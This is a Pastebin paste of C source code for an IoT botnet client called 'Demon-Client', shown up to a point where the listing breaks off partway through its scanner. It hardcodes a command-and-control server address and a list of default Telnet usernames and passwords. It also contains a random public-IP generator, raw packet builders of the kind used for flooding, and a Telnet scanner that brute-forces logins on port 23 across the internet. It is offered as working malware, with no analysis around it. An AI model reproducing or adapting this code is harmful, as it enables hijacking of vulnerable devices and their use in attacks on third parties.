Advertisement
ZucoCheezy

Demon-Client

Dec 1st, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 47.69 KB | None | 0 0
  1. //    ___             __ _
  2. //   / __\___  _ __  / _(_) __ _
  3. //  / /  / _ \| '_ \| |_| |/ _` |
  4. // / /__| (_) | | | |  _| | (_| |
  5. // \____/\___/|_| |_|_| |_|\__, |
  6. //                         |___/
  7.  
  8. unsigned char *commServer[] =
  9. {
  10.         "208.67.1.182:8888"
  11. };
  12.  
  13. //     ___      __ _
  14. //    /   \___ / _(_)_ __   ___  ___
  15. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  16. //  / /_//  __/  _| | | | |  __/\__ \
  17. // /___,' \___|_| |_|_| |_|\___||___/
  18.  
  19. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  20. #define PAD_RIGHT 1
  21. #define PAD_ZERO 2
  22. #define PRINT_BUF_LEN 12
  23. #define CMD_IAC   255
  24. #define CMD_WILL  251
  25. #define CMD_WONT  252
  26. #define CMD_DO    253
  27. #define CMD_DONT  254
  28. #define OPT_SGA   3
  29.  
  30. //   _____            _           _
  31. //   \_   \_ __   ___| |_   _  __| | ___  ___
  32. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  33. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  34. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  35.  
  36. #include <stdlib.h>
  37. #include <stdarg.h>
  38. #include <stdio.h>
  39. #include <sys/socket.h>
  40. #include <sys/types.h>
  41. #include <netinet/in.h>
  42. #include <arpa/inet.h>
  43. #include <netdb.h>
  44. #include <signal.h>
  45. #include <strings.h>
  46. #include <string.h>
  47. #include <sys/utsname.h>
  48. #include <unistd.h>
  49. #include <fcntl.h>
  50. #include <errno.h>
  51. #include <netinet/ip.h>
  52. #include <netinet/udp.h>
  53. #include <netinet/tcp.h>
  54. #include <sys/wait.h>
  55. #include <sys/ioctl.h>
  56. #include <net/if.h>
  57.  
  58. //    ___                 _
  59. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  60. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  61. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  62. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  63.  
  64. int initConnection();
  65. int getBogos(unsigned char *bogomips);
  66. int getCores();
  67. int getCountry(unsigned char *buf, int bufsize);
  68. void makeRandomStr(unsigned char *buf, int length);
  69. int sockprintf(int sock, char *formatStr, ...);
  70. char *inet_ntoa(struct in_addr in);
  71.  
  72. //    ___ _       _           _
  73. //   / _ \ | ___ | |__   __ _| |___
  74. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  75. // / /_\\| | (_) | |_) | (_| | \__ \
  76. // \____/|_|\___/|_.__/ \__,_|_|___/
  77.  
  78. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  79. uint32_t *pids;
  80. uint32_t scanPid;
  81. uint64_t numpids = 0;
  82. struct in_addr ourIP;
  83. unsigned char macAddress[6] = {0};
  84. char *usernames[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "maxided\0"};
  85. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "maxided\0"};
  86.  
  87. //    ___  ___  __      __  ___
  88. //   / __\/ _ \/__\  /\ \ \/ _ \
  89. //  / _\ / /_)/ \// /  \/ / /_\/
  90. // / /  / ___/ _  \/ /\  / /_\\
  91. // \/   \/   \/ \_/\_\ \/\____/
  92.  
  93. #define PHI 0x9e3779b9
  94. static uint32_t Q[4096], c = 362436;
  95.  
  96. void init_rand(uint32_t x)
  97. {
  98.     int i;
  99.  
  100.     Q[0] = x;
  101.     Q[1] = x + PHI;
  102.     Q[2] = x + PHI + PHI;
  103.  
  104.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  105. }
  106.  
  107. uint32_t rand_cmwc(void)
  108. {
  109.     uint64_t t, a = 18782LL;
  110.     static uint32_t i = 4095;
  111.     uint32_t x, r = 0xfffffffe;
  112.     i = (i + 1) & 4095;
  113.     t = a * Q[i] + c;
  114.     c = (uint32_t)(t >> 32);
  115.     x = t + c;
  116.     if (x < c) {
  117.         x++;
  118.         c++;
  119.     }
  120.     return (Q[i] = r - x);
  121. }
  122.  
  123. //        _   _ _
  124. //  /\ /\| |_(_) |___
  125. // / / \ \ __| | / __|
  126. // \ \_/ / |_| | \__ \
  127. //  \___/ \__|_|_|___/
  128.  
  129. void trim(char *str)
  130. {
  131.     int i;
  132.     int begin = 0;
  133.     int end = strlen(str) - 1;
  134.  
  135.     while (isspace(str[begin])) begin++;
  136.  
  137.     while ((end >= begin) && isspace(str[end])) end--;
  138.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  139.  
  140.     str[i - begin] = '\0';
  141. }
  142.  
  143. static void printchar(unsigned char **str, int c)
  144. {
  145.     if (str) {
  146.         **str = c;
  147.         ++(*str);
  148.     }
  149.     else (void)write(1, &c, 1);
  150. }
  151.  
  152. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  153. {
  154.     register int pc = 0, padchar = ' ';
  155.  
  156.     if (width > 0) {
  157.         register int len = 0;
  158.         register const unsigned char *ptr;
  159.         for (ptr = string; *ptr; ++ptr) ++len;
  160.         if (len >= width) width = 0;
  161.         else width -= len;
  162.         if (pad & PAD_ZERO) padchar = '0';
  163.     }
  164.     if (!(pad & PAD_RIGHT)) {
  165.         for ( ; width > 0; --width) {
  166.             printchar (out, padchar);
  167.             ++pc;
  168.         }
  169.     }
  170.     for ( ; *string ; ++string) {
  171.         printchar (out, *string);
  172.         ++pc;
  173.     }
  174.     for ( ; width > 0; --width) {
  175.         printchar (out, padchar);
  176.         ++pc;
  177.     }
  178.  
  179.     return pc;
  180. }
  181.  
  182. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  183. {
  184.     unsigned char print_buf[PRINT_BUF_LEN];
  185.     register unsigned char *s;
  186.     register int t, neg = 0, pc = 0;
  187.     register unsigned int u = i;
  188.  
  189.     if (i == 0) {
  190.         print_buf[0] = '0';
  191.         print_buf[1] = '\0';
  192.         return prints (out, print_buf, width, pad);
  193.     }
  194.  
  195.     if (sg && b == 10 && i < 0) {
  196.         neg = 1;
  197.         u = -i;
  198.     }
  199.  
  200.     s = print_buf + PRINT_BUF_LEN-1;
  201.     *s = '\0';
  202.  
  203.     while (u) {
  204.         t = u % b;
  205.         if( t >= 10 )
  206.         t += letbase - '0' - 10;
  207.         *--s = t + '0';
  208.         u /= b;
  209.     }
  210.  
  211.     if (neg) {
  212.         if( width && (pad & PAD_ZERO) ) {
  213.             printchar (out, '-');
  214.             ++pc;
  215.             --width;
  216.         }
  217.         else {
  218.             *--s = '-';
  219.         }
  220.     }
  221.  
  222.     return pc + prints (out, s, width, pad);
  223. }
  224.  
  225. static int print(unsigned char **out, const unsigned char *format, va_list args )
  226. {
  227.     register int width, pad;
  228.     register int pc = 0;
  229.     unsigned char scr[2];
  230.  
  231.     for (; *format != 0; ++format) {
  232.         if (*format == '%') {
  233.             ++format;
  234.             width = pad = 0;
  235.             if (*format == '\0') break;
  236.             if (*format == '%') goto out;
  237.             if (*format == '-') {
  238.                 ++format;
  239.                 pad = PAD_RIGHT;
  240.             }
  241.             while (*format == '0') {
  242.                 ++format;
  243.                 pad |= PAD_ZERO;
  244.             }
  245.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  246.                 width *= 10;
  247.                 width += *format - '0';
  248.             }
  249.             if( *format == 's' ) {
  250.                 register char *s = (char *)va_arg( args, int );
  251.                 pc += prints (out, s?s:"(null)", width, pad);
  252.                 continue;
  253.             }
  254.             if( *format == 'd' ) {
  255.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  256.                 continue;
  257.             }
  258.             if( *format == 'x' ) {
  259.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  260.                 continue;
  261.             }
  262.             if( *format == 'X' ) {
  263.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  264.                 continue;
  265.             }
  266.             if( *format == 'u' ) {
  267.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  268.                 continue;
  269.             }
  270.             if( *format == 'c' ) {
  271.                 scr[0] = (unsigned char)va_arg( args, int );
  272.                 scr[1] = '\0';
  273.                 pc += prints (out, scr, width, pad);
  274.                 continue;
  275.             }
  276.         }
  277.         else {
  278. out:
  279.             printchar (out, *format);
  280.             ++pc;
  281.         }
  282.     }
  283.     if (out) **out = '\0';
  284.     va_end( args );
  285.     return pc;
  286. }
  287.  
  288. int zprintf(const unsigned char *format, ...)
  289. {
  290.     va_list args;
  291.     va_start( args, format );
  292.     return print( 0, format, args );
  293. }
  294.  
  295. int szprintf(unsigned char *out, const unsigned char *format, ...)
  296. {
  297.     va_list args;
  298.     va_start( args, format );
  299.     return print( &out, format, args );
  300. }
  301.  
  302.  
  303. int sockprintf(int sock, char *formatStr, ...)
  304. {
  305.     unsigned char *textBuffer = malloc(2048);
  306.     memset(textBuffer, 0, 2048);
  307.     char *orig = textBuffer;
  308.     va_list args;
  309.     va_start(args, formatStr);
  310.     print(&textBuffer, formatStr, args);
  311.     va_end(args);
  312.     orig[strlen(orig)] = '\n';
  313.     zprintf("buf: %s\n", orig);
  314.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  315.     free(orig);
  316.     return q;
  317. }
  318.  
  319. static int *fdopen_pids;
  320.  
  321. int fdpopen(unsigned char *program, register unsigned char *type)
  322. {
  323.     register int iop;
  324.     int pdes[2], fds, pid;
  325.  
  326.     if (*type != 'r' && *type != 'w' || type[1]) return -1;
  327.  
  328.     if (pipe(pdes) < 0) return -1;
  329.     if (fdopen_pids == NULL) {
  330.         if ((fds = getdtablesize()) <= 0) return -1;
  331.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  332.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  333.     }
  334.  
  335.     switch (pid = vfork())
  336.     {
  337.     case -1:
  338.         close(pdes[0]);
  339.         close(pdes[1]);
  340.         return -1;
  341.     case 0:
  342.         if (*type == 'r') {
  343.             if (pdes[1] != 1) {
  344.                 dup2(pdes[1], 1);
  345.                 close(pdes[1]);
  346.             }
  347.             close(pdes[0]);
  348.         } else {
  349.             if (pdes[0] != 0) {
  350.                 (void) dup2(pdes[0], 0);
  351.                 (void) close(pdes[0]);
  352.             }
  353.             (void) close(pdes[1]);
  354.         }
  355.         execl("/bin/sh", "sh", "-c", program, NULL);
  356.         _exit(127);
  357.     }
  358.     if (*type == 'r') {
  359.         iop = pdes[0];
  360.         (void) close(pdes[1]);
  361.     } else {
  362.         iop = pdes[1];
  363.         (void) close(pdes[0]);
  364.     }
  365.     fdopen_pids[iop] = pid;
  366.     return (iop);
  367. }
  368.  
  369. int fdpclose(int iop)
  370. {
  371.     register int fdes;
  372.     sigset_t omask, nmask;
  373.     int pstat;
  374.     register int pid;
  375.  
  376.     if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  377.     (void) close(iop);
  378.     sigemptyset(&nmask);
  379.     sigaddset(&nmask, SIGINT);
  380.     sigaddset(&nmask, SIGQUIT);
  381.     sigaddset(&nmask, SIGHUP);
  382.     (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  383.     do {
  384.         pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  385.     } while (pid == -1 && errno == EINTR);
  386.     (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  387.     fdopen_pids[fdes] = 0;
  388.     return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  389. }
  390.  
  391. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  392. {
  393.     int got = 1, total = 0;
  394.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  395.     return got == 0 ? NULL : buffer;
  396. }
  397.  
  398. static const long hextable[] = {
  399.     [0 ... 255] = -1,
  400.     ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  401.     ['A'] = 10, 11, 12, 13, 14, 15,
  402.     ['a'] = 10, 11, 12, 13, 14, 15
  403. };
  404.  
  405. long parseHex(unsigned char *hex)
  406. {
  407.     long ret = 0;
  408.     while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  409.     return ret;
  410. }
  411.  
  412. int wildString(const unsigned char* pattern, const unsigned char* string) {
  413.     switch(*pattern)
  414.     {
  415.     case '\0': return *string;
  416.     case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  417.     case '?': return !(*string && !wildString(pattern+1, string+1));
  418.     default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  419.     }
  420. }
  421.  
  422. int getHost(unsigned char *toGet, struct in_addr *i)
  423. {
  424.     struct hostent *h;
  425.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  426.     return 0;
  427. }
  428.  
  429. void uppercase(unsigned char *str)
  430. {
  431.     while(*str) { *str = toupper(*str); str++; }
  432. }
  433.  
  434. int getBogos(unsigned char *bogomips)
  435. {
  436.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  437.     char linebuf[4096];
  438.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  439.     {
  440.         uppercase(linebuf);
  441.         if(strstr(linebuf, "BOGOMIPS") == linebuf)
  442.         {
  443.             unsigned char *pos = linebuf + 8;
  444.             while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  445.             while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  446.             if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  447.             strcpy(bogomips, pos);
  448.             close(cmdline);
  449.             return 0;
  450.         }
  451.         memset(linebuf, 0, 4096);
  452.     }
  453.     close(cmdline);
  454.     return 1;
  455. }
  456.  
  457. int getCores()
  458. {
  459.     int totalcores = 0;
  460.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  461.     char linebuf[4096];
  462.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  463.     {
  464.         uppercase(linebuf);
  465.         if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  466.         memset(linebuf, 0, 4096);
  467.     }
  468.     close(cmdline);
  469.     return totalcores;
  470.  
  471. }
  472.  
  473. void makeRandomStr(unsigned char *buf, int length)
  474. {
  475.     int i = 0;
  476.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  477. }
  478.  
  479. int recvLine(int socket, unsigned char *buf, int bufsize)
  480. {
  481.     memset(buf, 0, bufsize);
  482.  
  483.     fd_set myset;
  484.     struct timeval tv;
  485.     tv.tv_sec = 30;
  486.     tv.tv_usec = 0;
  487.     FD_ZERO(&myset);
  488.     FD_SET(socket, &myset);
  489.     int selectRtn, retryCount;
  490.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  491.         while(retryCount < 10)
  492.         {
  493.             sockprintf(mainCommSock, "PING");
  494.  
  495.             tv.tv_sec = 30;
  496.             tv.tv_usec = 0;
  497.             FD_ZERO(&myset);
  498.             FD_SET(socket, &myset);
  499.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  500.                 retryCount++;
  501.                 continue;
  502.             }
  503.  
  504.             break;
  505.         }
  506.     }
  507.  
  508.     unsigned char tmpchr;
  509.     unsigned char *cp;
  510.     int count = 0;
  511.  
  512.     cp = buf;
  513.     while(bufsize-- > 1)
  514.     {
  515.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  516.             *cp = 0x00;
  517.             return -1;
  518.         }
  519.         *cp++ = tmpchr;
  520.         if(tmpchr == '\n') break;
  521.         count++;
  522.     }
  523.     *cp = 0x00;
  524.  
  525.     zprintf("recv: %s\n", cp);
  526.  
  527.     return count;
  528. }
  529.  
  530. int connectTimeout(int fd, char *host, int port, int timeout)
  531. {
  532.     struct sockaddr_in dest_addr;
  533.     fd_set myset;
  534.     struct timeval tv;
  535.     socklen_t lon;
  536.  
  537.     int valopt;
  538.     long arg = fcntl(fd, F_GETFL, NULL);
  539.     arg |= O_NONBLOCK;
  540.     fcntl(fd, F_SETFL, arg);
  541.  
  542.     dest_addr.sin_family = AF_INET;
  543.     dest_addr.sin_port = htons(port);
  544.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  545.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  546.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  547.  
  548.     if (res < 0) {
  549.         if (errno == EINPROGRESS) {
  550.             tv.tv_sec = timeout;
  551.             tv.tv_usec = 0;
  552.             FD_ZERO(&myset);
  553.             FD_SET(fd, &myset);
  554.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  555.                 lon = sizeof(int);
  556.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  557.                 if (valopt) return 0;
  558.             }
  559.             else return 0;
  560.         }
  561.         else return 0;
  562.     }
  563.  
  564.     arg = fcntl(fd, F_GETFL, NULL);
  565.     arg &= (~O_NONBLOCK);
  566.     fcntl(fd, F_SETFL, arg);
  567.  
  568.     return 1;
  569. }
  570.  
  571. int listFork()
  572. {
  573.     uint32_t parent, *newpids, i;
  574.     parent = fork();
  575.     if (parent <= 0) return parent;
  576.     numpids++;
  577.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  578.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  579.     newpids[numpids - 1] = parent;
  580.     free(pids);
  581.     pids = newpids;
  582.     return parent;
  583. }
  584.  
  585. int negotiate(int sock, unsigned char *buf, int len)
  586. {
  587.     unsigned char c;
  588.  
  589.     switch (buf[1]) {
  590.     case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  591.     case CMD_WILL:
  592.     case CMD_WONT:
  593.     case CMD_DO:
  594.     case CMD_DONT:
  595.         c = CMD_IAC;
  596.         send(sock, &c, 1, MSG_NOSIGNAL);
  597.         if (CMD_WONT == buf[1]) c = CMD_DONT;
  598.         else if (CMD_DONT == buf[1]) c = CMD_WONT;
  599.         else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  600.         else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  601.         send(sock, &c, 1, MSG_NOSIGNAL);
  602.         send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  603.         break;
  604.  
  605.     default:
  606.         break;
  607.     }
  608.  
  609.     return 0;
  610. }
  611.  
  612. int matchPrompt(char *bufStr)
  613. {
  614.     char *prompts = ":>%$#\0";
  615.  
  616.     int bufLen = strlen(bufStr);
  617.     int i, q = 0;
  618.     for(i = 0; i < strlen(prompts); i++)
  619.     {
  620.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  621.         if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  622.     }
  623.  
  624.     return 0;
  625. }
  626.  
  627. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  628. {
  629.     int bufferUsed = initialIndex, got = 0, found = 0;
  630.     fd_set myset;
  631.     struct timeval tv;
  632.     tv.tv_sec = timeout;
  633.     tv.tv_usec = timeoutusec;
  634.     unsigned char *initialRead = NULL;
  635.  
  636.     while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  637.     {
  638.         FD_ZERO(&myset);
  639.         FD_SET(fd, &myset);
  640.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  641.         initialRead = buffer + bufferUsed;
  642.         got = recv(fd, initialRead, 1, 0);
  643.         if(got == -1 || got == 0) return 0;
  644.         bufferUsed += got;
  645.         if(*initialRead == 0xFF)
  646.         {
  647.             got = recv(fd, initialRead + 1, 2, 0);
  648.             if(got == -1 || got == 0) return 0;
  649.             bufferUsed += got;
  650.             if(!negotiate(fd, initialRead, 3)) return 0;
  651.         } else {
  652.             if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  653.         }
  654.     }
  655.  
  656.     if(found) return 1;
  657.     return 0;
  658. }
  659.  
  660. //   _____  ___         _   _ _
  661. //   \_   \/ _ \  /\ /\| |_(_) |___
  662. //    / /\/ /_)/ / / \ \ __| | / __|
  663. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  664. // \____/\/       \___/ \__|_|_|___/
  665.  
  666. static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
  667. in_addr_t getRandomPublicIP()
  668. {
  669.     if(ipState[1] > 0 && ipState[4] < 255)
  670.     {
  671.         ipState[4]++;
  672.         char ip[16] = {0};
  673.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  674.         return inet_addr(ip);
  675.     }
  676.  
  677.     ipState[1] = rand() % 255;
  678.     ipState[2] = rand() % 255;
  679.     ipState[3] = rand() % 255;
  680.     ipState[4] = 0;
  681.     while(
  682.         (ipState[1] == 0) ||
  683.         (ipState[1] == 10) ||
  684.         (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  685.         (ipState[1] == 127) ||
  686.         (ipState[1] == 169 && ipState[2] == 254) ||
  687.         (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  688.         (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  689.         (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  690.         (ipState[1] == 192 && ipState[2] == 168) ||
  691.         (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  692.         (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  693.         (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  694.         (ipState[1] >= 224)
  695.     )
  696.     {
  697.         ipState[1] = rand() % 255;
  698.         ipState[2] = rand() % 255;
  699.         ipState[3] = rand() % 255;
  700.     }
  701.  
  702.     char ip[16] = {0};
  703.     szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  704.     return inet_addr(ip);
  705. }
  706.  
  707. in_addr_t getRandomIP(in_addr_t netmask)
  708. {
  709.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  710.     return tmp ^ ( rand_cmwc() & ~netmask);
  711. }
  712.  
  713. unsigned short csum (unsigned short *buf, int count)
  714. {
  715.     register uint64_t sum = 0;
  716.     while( count > 1 ) { sum += *buf++; count -= 2; }
  717.     if(count > 0) { sum += *(unsigned char *)buf; }
  718.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  719.     return (uint16_t)(~sum);
  720. }
  721.  
  722. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  723. {
  724.  
  725.     struct tcp_pseudo
  726.     {
  727.         unsigned long src_addr;
  728.         unsigned long dst_addr;
  729.         unsigned char zero;
  730.         unsigned char proto;
  731.         unsigned short length;
  732.     } pseudohead;
  733.     unsigned short total_len = iph->tot_len;
  734.     pseudohead.src_addr=iph->saddr;
  735.     pseudohead.dst_addr=iph->daddr;
  736.     pseudohead.zero=0;
  737.     pseudohead.proto=IPPROTO_TCP;
  738.     pseudohead.length=htons(sizeof(struct tcphdr));
  739.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  740.     unsigned short *tcp = malloc(totaltcp_len);
  741.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  742.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  743.     unsigned short output = csum(tcp,totaltcp_len);
  744.     free(tcp);
  745.     return output;
  746. }
  747.  
  748. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  749. {
  750.     iph->ihl = 5;
  751.     iph->version = 4;
  752.     iph->tos = 0;
  753.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  754.     iph->id = rand_cmwc();
  755.     iph->frag_off = 0;
  756.     iph->ttl = MAXTTL;
  757.     iph->protocol = protocol;
  758.     iph->check = 0;
  759.     iph->saddr = source;
  760.     iph->daddr = dest;
  761. }
  762.  
  763. int sclose(int fd)
  764. {
  765.     if(3 > fd) return 1;
  766.     close(fd);
  767.     return 0;
  768. }
  769.  
  770. //  _____     _            _     __                                   _      _
  771. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  772. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  773. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  774. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  775.  
  776. void StartTheLelz()
  777. {
  778.     int max = (getdtablesize() / 4) * 3, i, res;
  779.     fd_set myset;
  780.     struct timeval tv;
  781.     socklen_t lon;
  782.     int valopt;
  783.  
  784.     max = max > 512 ? 512 : max;
  785.  
  786.     struct sockaddr_in dest_addr;
  787.     dest_addr.sin_family = AF_INET;
  788.     dest_addr.sin_port = htons(23);
  789.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  790.  
  791.     struct telstate_t
  792.     {
  793.         int fd;
  794.         uint32_t ip;
  795.         uint8_t state;
  796.         uint8_t complete;
  797.         uint8_t usernameInd;
  798.         uint8_t passwordInd;
  799.         uint32_t totalTimeout;
  800.         uint16_t bufUsed;
  801.         char *sockbuf;
  802.     } fds[max];
  803.     memset(fds, 0, max * (sizeof(int) + 1));
  804.     for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  805.  
  806.     while(1)
  807.     {
  808.         for(i = 0; i < max; i++)
  809.         {
  810.             switch(fds[i].state)
  811.             {
  812.             case 0:
  813.                 {
  814.                     memset(fds[i].sockbuf, 0, 1024);
  815.  
  816.                     if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  817.                     else {
  818.                         fds[i].passwordInd++;
  819.                         if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  820.                         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  821.                     }
  822.                     dest_addr.sin_family = AF_INET;
  823.                     dest_addr.sin_port = htons(23);
  824.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  825.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  826.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  827.                     if(fds[i].fd == -1) { continue; }
  828.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  829.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  830.                     else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  831.                 }
  832.                 break;
  833.  
  834.             case 1:
  835.                 {
  836.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  837.  
  838.                     FD_ZERO(&myset);
  839.                     FD_SET(fds[i].fd, &myset);
  840.                     tv.tv_sec = 0;
  841.                     tv.tv_usec = 10000;
  842.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  843.                     if(res == 1)
  844.                     {
  845.                         lon = sizeof(int);
  846.                         valopt = 0;
  847.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  848.                         if(valopt)
  849.                         {
  850.                             sclose(fds[i].fd);
  851.                             fds[i].state = 0;
  852.                             fds[i].complete = 1;
  853.                         } else {
  854.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  855.                             fds[i].totalTimeout = 0;
  856.                             fds[i].bufUsed = 0;
  857.                             memset(fds[i].sockbuf, 0, 1024);
  858.                             fds[i].state = 2;
  859.                             continue;
  860.                         }
  861.                     } else if(res == -1)
  862.                     {
  863.                         sclose(fds[i].fd);
  864.                         fds[i].state = 0;
  865.                         fds[i].complete = 1;
  866.                     }
  867.  
  868.                     if(fds[i].totalTimeout + 10 < time(NULL))
  869.                     {
  870.                         sclose(fds[i].fd);
  871.                         fds[i].state = 0;
  872.                         fds[i].complete = 1;
  873.                     }
  874.                 }
  875.                 break;
  876.  
  877.             case 2:
  878.                 {
  879.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  880.  
  881.                     if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  882.                     {
  883.                         fds[i].totalTimeout = 0;
  884.                         fds[i].bufUsed = 0;
